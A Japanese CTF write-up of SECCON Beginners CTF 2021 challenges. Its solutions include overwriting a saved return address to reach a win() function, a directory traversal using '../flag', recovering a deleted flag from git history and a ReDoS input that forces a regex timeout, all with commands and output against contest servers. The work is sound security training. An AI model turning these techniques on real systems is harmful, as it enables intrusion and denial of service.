SECCON Beginners CTFと本記事について
CTFとは、Capture The Flagの略で旗取りゲームです。
CTFにはいくつかの競技形式がありますが、今回参加したSECCON Beginners CTFではJeopardy形式といいもので開催されています。
Jeopardy形式は、様々なITスキルを用いて隠された旗(フラグ:文字列)を見つけて、送信したら得点を獲得でき、その得点を競う競技です。
今回は基本的な問題のみですが、いくつか問題を解きましたので、初めてwriteupとして解答の流れを記載します。
welcome
(1) welcome
以下の問題文に記載がありますが、コミュニケーションツールであるDiscordのannaouncementsチャネルにアクセスする問題です。
記載されているDiscordのURLにアクセスします。
左部にある「annaouncements」をクリックすると、チャットに以下のフラグが表示されていました。
そのフラグを送信するとポイントを獲得できました。
crypto
(1) simple_RSA
以下の問題文に記載がありますが、提供されたファイルを解読してRSA暗号化を復号化する問題です。
提供されたファイルを展開すると、プログラム(problem.py)と出力結果(output.txt)からフラグを復号化したら出てくると思いますが、わかりませんでした。。。。
reversing
(1) only_read
以下の問題文に記載がありますが、提供されたファイルのバイナリを読む問題です。
提供されたファイルをIDA Freewireを開いたところ、ユーザが入力した文字列が正しい文字かどうか一文字ずつcmpで比較しているところがわかります。
全ての文字が一致したら、「Correct(正しい)」という文字を出力しているため、比較文字列がフラグです。
また、不要ですが、念のため以下の手順でファイルを実行して、フラグが正しいか確認できます。
ファイル形式を確認するために、Linux上で以下のfileコマンドを実行します。
「ELF 64-bit」という出力がありましたので、Linux用の64bitの実行ファイルであることがわかります。
# file chall
chall: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), BuildID[sha1]=416db4d9fdab2e1d244740eabdf3ee326dc0fcef, for GNU/Linux 3.2.0, not stripped
以下のコマンドを実行して、IDA Freewireにて確認したフラグを入力します。
# chmod +x chall
# ./chall
ctf4b{c0n5t4nt_f0ld1ng} ← IDA Freewireにて確認したフラグを入力
Correct
(2) children
以下の問題文に記載がありますが、提供されたファイルの情報を確認して、FLAGを取得することがわかります。
ファイル形式を確認するために、Linux上で以下のfileコマンドを実行します。
「ELF 64-bit」という出力がありましたので、Linux用の64bitの実行ファイルであることがわかります。
# file children
children: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 3.2.0, BuildID[sha1]=7441c355b65d6969523f8f1bbab30f522b444be5, not stripped
以下のコマンドを実行して、提供されたファイルを実行します。10回子プロセスのプロセスID(PID)を答える旨のメッセージが出力されました。
# chmod +x children
# ./children
I will generate 10 child processes.
They also might generate additional child process.
Please tell me each process id in order to identify them!
Please give me my child pid!
別のターミナルを開いて起動するプロセス確認するpsコマンドの結果をchildrenでフィルタした結果を表示します。
出力結果から子プロセスのプロセスID(PID)が「2032」であることがわかりますので、「2032」を入力して[ENTER]を押します。
# ps aux | grep children
root 2031 0.0 0.0 4220 348 pts/0 S+ 21:47 0:00 ./children
root 2032 0.0 0.0 0 0 pts/0 Z+ 21:47 0:00 [children] <defunct>
root 2056 0.0 0.0 112808 964 pts/1 R+ 21:48 0:00 grep --color=auto children
上記のpsコマンドで確認した子プロセスID(PID)を10回入力すると、最後に以下の内容が表示されます。
メッセージを確認すると、childrenのプロセス数を答える問題のようです。
親プロセスと子プロセスの数の合計が15個でしたので、15を入力して[ENTER]を押しました。
How many children were born?
以下のコマンドをで確認しました。
# ps aux | grep children
root 2031 0.0 0.0 4220 500 pts/0 S+ 21:47 0:00 ./children
root 2062 0.0 0.0 0 0 pts/0 Z+ 21:56 0:00 [children] <defunct>
root 2065 0.0 0.0 0 0 pts/0 Z+ 21:56 0:00 [children] <defunct>
root 2068 0.0 0.0 0 0 pts/0 Z+ 21:56 0:00 [children] <defunct>
root 2071 0.0 0.0 0 0 pts/0 Z+ 21:56 0:00 [children] <defunct>
root 2072 0.0 0.0 0 0 pts/0 Z+ 21:56 0:00 [children] <defunct>
root 2075 0.0 0.0 0 0 pts/0 Z+ 21:56 0:00 [children] <defunct>
root 2076 0.0 0.0 0 0 pts/0 Z+ 21:56 0:00 [children] <defunct>
root 2079 0.0 0.0 0 0 pts/0 Z+ 21:56 0:00 [children] <defunct>
root 2080 0.0 0.0 0 0 pts/0 Z+ 21:56 0:00 [children] <defunct>
root 2083 0.0 0.0 0 0 pts/0 Z+ 21:56 0:00 [children] <defunct>
root 2084 0.0 0.0 0 0 pts/0 Z+ 21:56 0:00 [children] <defunct>
root 2087 0.0 0.0 0 0 pts/0 Z+ 21:56 0:00 [children] <defunct>
root 2088 0.0 0.0 0 0 pts/0 Z+ 21:56 0:00 [children] <defunct>
root 2091 0.0 0.0 0 0 pts/0 Z+ 21:56 0:00 [children] <defunct>
root 2095 0.0 0.0 112808 964 pts/1 R+ 21:57 0:00 grep --color=auto children
フラグ(ctf4b{p0werfu1_tr4sing_t0015_15_usefu1})が出力されました。
pwnable
(1) rewriter
以下の問題文に記載から任意のアドレスを書き換える問題であることがわかります。
提供されたファイルを確認したところ、以下の「src.c」と「chall」の2つのファイルがあります。
「src.c」の内容からレジストリの値を変更するプログラムであることがわかります。「win()関数」を実行したらフラグが表示されることがわかります。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <err.h>
#define BUFF_SIZE 0x20
void win() {
execve("/bin/cat", (char*[3]){"/bin/cat", "flag.txt", NULL}, NULL);
}
void show_stack(unsigned long *stack);
int main() {
unsigned long target = 0, value = 0;
char buf[BUFF_SIZE] = {0};
show_stack(buf);
printf("Where would you like to rewrite it?\n> ");
buf[read(STDIN_FILENO, buf, BUFF_SIZE-1)] = 0;
target = strtol(buf, NULL, 0);
printf("0x%016lx = ", target);
buf[read(STDIN_FILENO, buf, BUFF_SIZE-1)] = 0;
value = strtol(buf, NULL, 0);
*(long*)target = value;
}
void show_stack(unsigned long *stack) {
printf("\n%-20s|%-20s\n", "[Addr]", "[Value]");
puts("====================+===================");
for (int i = 0; i < 10; i++) {
printf(" 0x%016lx | 0x%016lx ", &stack[i], stack[i]);
if (&stack[i] == stack)
printf(" <- buf");
if (&stack[i] == ((unsigned long)stack + BUFF_SIZE))
printf(" <- target");
if (&stack[i] == ((unsigned long)stack + BUFF_SIZE + 0x8))
printf(" <- value");
if (&stack[i] == ((unsigned long)stack + BUFF_SIZE + 0x10))
printf(" <- saved rbp");
if (&stack[i] == ((unsigned long)stack + BUFF_SIZE + 0x18))
printf(" <- saved ret addr");
puts("");
}
puts("");
}
__attribute__((constructor))
void init() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
alarm(60);
}
ncコマンドを実行して問題文にあるサーバにアクセスします。
関数が終わったら戻りアドレス(saved ret addr)の命令から順次実行しますので、戻りアドレス(0x00007ffe85e82dd8)の値を「win()関数のアドレス(0x4011f6)」に変更します。
win()関数のアドレスは提供されたファイルをIDA Freewireで開いて以下の赤枠の箇所を確認しました。
# nc rewriter.quals.beginners.seccon.jp 4103
[Addr] |[Value]
====================+===================
0x00007ffe85e82da0 | 0x0000000000000000 <- buf
0x00007ffe85e82da8 | 0x0000000000000000
0x00007ffe85e82db0 | 0x0000000000000000
0x00007ffe85e82db8 | 0x0000000000000000
0x00007ffe85e82dc0 | 0x0000000000000000 <- target
0x00007ffe85e82dc8 | 0x0000000000000000 <- value
0x00007ffe85e82dd0 | 0x0000000000401520 <- saved rbp
0x00007ffe85e82dd8 | 0x00007f3b33571bf7 <- saved ret addr
0x00007ffe85e82de0 | 0x0000000000000001
0x00007ffe85e82de8 | 0x00007ffe85e82eb8
Where would you like to rewrite it?
> 0x00007ffe85e82dd8
0x00007ffe85e82dd8 = 0x4011f6
[Addr] |[Value]
====================+===================
0x00007ffe85e82da0 | 0x3666313130347830 <- buf
0x00007ffe85e82da8 | 0x643238653538000a
0x00007ffe85e82db0 | 0x00000000000a3864
0x00007ffe85e82db8 | 0x0000000000000000
0x00007ffe85e82dc0 | 0x00000000004011f6 <- target
0x00007ffe85e82dc8 | 0x00007ffe85e82dd8 <- value
0x00007ffe85e82dd0 | 0x0000000000401520 <- saved rbp
0x00007ffe85e82dd8 | 0x00000000004011f6 <- saved ret addr
0x00007ffe85e82de0 | 0x0000000000000001
0x00007ffe85e82de8 | 0x00007ffe85e82eb8
ctf4b{th3_r3turn_4ddr355_15_1n_th3_5t4ck}
web
(1) osoba
以下の問題文に記載がありますが、サーバ上の/flagにあるファイルを読み込む問題です。
問題文中のURLにアクセスすると、以下の画面が表示されます。Webページの構成を確認するために、「詳細を見る」をクリックしました。
URLが以下の赤枠になっていましたので、パラメータにファイル名の相対パスが表示されていることから、ディレクトリトラバーサルの脆弱性があるのではないかと推測できます。
ここで、提供されたファイルを展開すると、フォルダの構成が以下のようになっていることがわかります。以下の赤文字の箇所がWebページで表示されているファイルパス(public/wip.html)で緑色のファイル名(flag)が表示させたいファイルです。
- 【フォル構成】
- ・osoba
- ・app
- ・src
- ・public
- ・index.html
- ・kikin.html
- ・neck.html
- ・wip.html
- ・app.py
- ・requirements.txt
- ・uwsgi.ini
- ・Dockerfile
- ・flag
- ・nginx
- ・nginx.conf
- ・docker-compose.yml
上記のフォルダ構成からパラメータで指定しているファイルを「public/wip.html」を「../flag」に変更すると、「flag」が表示されますので、アクセスすると以下のようにフラグが表示されます。
misc
(1) git-leak
以下の問題文に記載から提供されたGitのファイルから上書き前のデータを取得する問題のようです。
Linux(CentOS)上で提供されたファイル格納して、zipファイルを解凍するコマンド(unzip)とgitコマンドをインストールします。
その後、ファイルを展開して、Gitファイルの更新履歴を確認します。
# yum -y install unzip
# yum -y install git
# unzip git-leak.zip
# cd dist
# git reflog
e0b545f HEAD@{0}: commit (amend): feat: めもを追加
80f3044 HEAD@{1}: commit (amend): feat: めもを追加
b3bfb5c HEAD@{2}: rebase -i (finish): returning to refs/heads/master
b3bfb5c HEAD@{3}: commit (amend): feat: めもを追加
7387982 HEAD@{4}: rebase -i: fast-forward
36a4809 HEAD@{5}: rebase -i (start): checkout HEAD~2
7387982 HEAD@{6}: reset: moving to HEAD
7387982 HEAD@{7}: commit: feat: めもを追加
36a4809 HEAD@{8}: commit: feat: commit-treeの説明を追加
9ac9b0c HEAD@{9}: commit: change: 順番を変更
8fc078d HEAD@{10}: commit: feat: git cat-fileの説明を追加
d3b47fe HEAD@{11}: commit: feat: fsckを追記する
f66de64 HEAD@{12}: commit: feat: reflogの説明追加
d5aeffe HEAD@{13}: commit: feat: resetの説明を追加
a4f7fe9 HEAD@{14}: commit: feat: git logの説明を追加
9fcb006 HEAD@{15}: commit: feat: git commitの説明追加
6d21e22 HEAD@{16}: commit: feat: git addの説明を追加
656db59 HEAD@{17}: commit: feat: add README.md
c27f346 HEAD@{18}: commit (initial): initial commit
参考までに、「git reflog」コマンドで出力されたプロセスは以下の3つです。
プロセス | 概要 |
---|---|
commit | 変更内容を適用するプロセス。 |
rebase | コミットのシーケンスを新しいベースコミットに移動または組み合わせるプロセス。 |
reset | HEADの位置を変更するプロセス。 |
「git reflog」コマンドの結果のIDを用いて、「git cat-file -p [ID]」コマンドを実行して、それぞれのデータを確認してきます。
以下のコマンドを実行したら、「flag.txt」が見つかりフラグを取得できました。
# git cat-file -p 7387982
tree a5b6b52f47aba96730ab61471ddcdff864e5dd8c
parent 36a4809f1ae8013432eb52cfd2f9f062a3269499
author task4233 <29667656+task4233@users.noreply.github.com> 1620491725 +0900
committer task4233 <29667656+task4233@users.noreply.github.com> 1620491725 +0900
feat: めもを追加
# git cat-file -p a5b6b52f47aba96730ab61471ddcdff864e5dd8c
100644 blob 16290835a0f74ccf30cbf30d791c84392a9dcce6 README.md
100644 blob 4cbb035d2ff072127b4e22919485127d2273e88e flag.txt
100644 blob 62337fdb59ceb048f7da9eaf768923d744930842 note.md
# git cat-file -p 4cbb035d2ff072127b4e22919485127d2273e88e
ctf4b{0verwr1te_1s_n0t_c0mplete_1n_G1t}
(2) Mail_Address_Validator
以下の問題文に記載から提供されたファイルを参考にして、正しいメールアドレスを調べる問題のようです。
提供されたファイルは以下の通りです。
#!/usr/bin/env ruby
require 'timeout'
$stdout.sync = true
$stdin.sync = true
pattern = /\A([\w+\-].?)+@[a-z\d\-]+(\.[a-z]+)*\.[a-z]+\z/i
begin
Timeout.timeout(60) {
Process.wait Process.fork {
puts "I check your mail address."
puts "please puts your mail address."
input = gets.chomp
begin
Timeout.timeout(5) {
if input =~ pattern
puts "Valid mail address!"
else
puts "Invalid mail address!"
end
}
rescue Timeout::Error
exit(status=14)
end
}
case Process.last_status.to_i >> 8
when 0 then
puts "bye."
when 1 then
puts "bye."
when 14 then
File.open("flag.txt", "r") do |f|
puts f.read
end
else
puts "What's happen?"
end
}
rescue Timeout::Error
puts "bye."
end
上記のプログラムは5秒間たったら、タイムアウトエラーになり、フラグが出力されます。
「その正規表現、異議あり! 〜 ReDoSについて – Speaker Deck」の記事を参考にすると、ReDoSの脆弱性を悪用するとDoS状態になり、タイムアウトされることがわかります。
例えば、以下のような入力を実行します。
# nc mail-address-validator.quals.beginners.seccon.jp 5100
I check your mail address.
please puts your mail address.
username@host.abcde.abcde.abcde.abcde.abcde.abcde.abcde.abcde.abcde.abcde.abcde.abcde.
ctf4b{1t_15_n0t_0nly_th3_W3b_th4t_15_4ff3ct3d_by_ReDoS}
SECCON Beginners CTF 2021に関する記事
SECCON Beginners CTF 2021についての関連記事は以下の通りです。
必要に応じて、ご確認ください。
No | タイトル | 記事の概要 |
---|---|---|
1 | SECCON Beginners CTF 2021 writeup | 以下のカテゴリの問題のwriteupを記載します。 【カテゴリ:welcome】 ・welcome 【カテゴリ:crypto】 ・imple_RSA 【カテゴリ:reversing】 ・only_read ・children 【カテゴリ:pwnable】 ・rewriter 【カテゴリ:web】 ・osoba 【カテゴリ:misc】 ・git-leak ・Mail_Address_Validator |
2 | SECCON Beginners CTF 2021 writeup (crypto:simple_RSA) | cryptカテゴリのsimple_RSAの問題の writeupを記載します。 |
3 | SECCON Beginners CTF 2021 writeup (crypto:Logical_SEESAW) | cryptカテゴリのLogical_SEESAWの問題の writeupを記載します。 |
4 | SECCON Beginners CTF 2021 writeup (crypto:GFM) | cryptカテゴリのGFMの問題の writeupを記載します。 |
5 | SECCON Beginners CTF 2021 writeup (crypto:Imaginary) | cryptカテゴリのImaginaryの問題の writeupを記載します。 |
6 | SECCON Beginners CTF 2021 writeup (web:Werewolf) | webカテゴリのWerewolfの問題の writeupを記載します。 |
7 | SECCON Beginners CTF 2021 writeup (web:check_url) | webカテゴリのcheck_urlの問題の writeupを記載します。 |
8 | SECCON Beginners CTF 2021 writeup (web:json) | webカテゴリのjsonの問題の writeupを記載します。 |
9 | SECCON Beginners CTF 2021 writeup (web:cant_use_db) | webカテゴリのcant_use_dbの問題の writeupを記載します。 |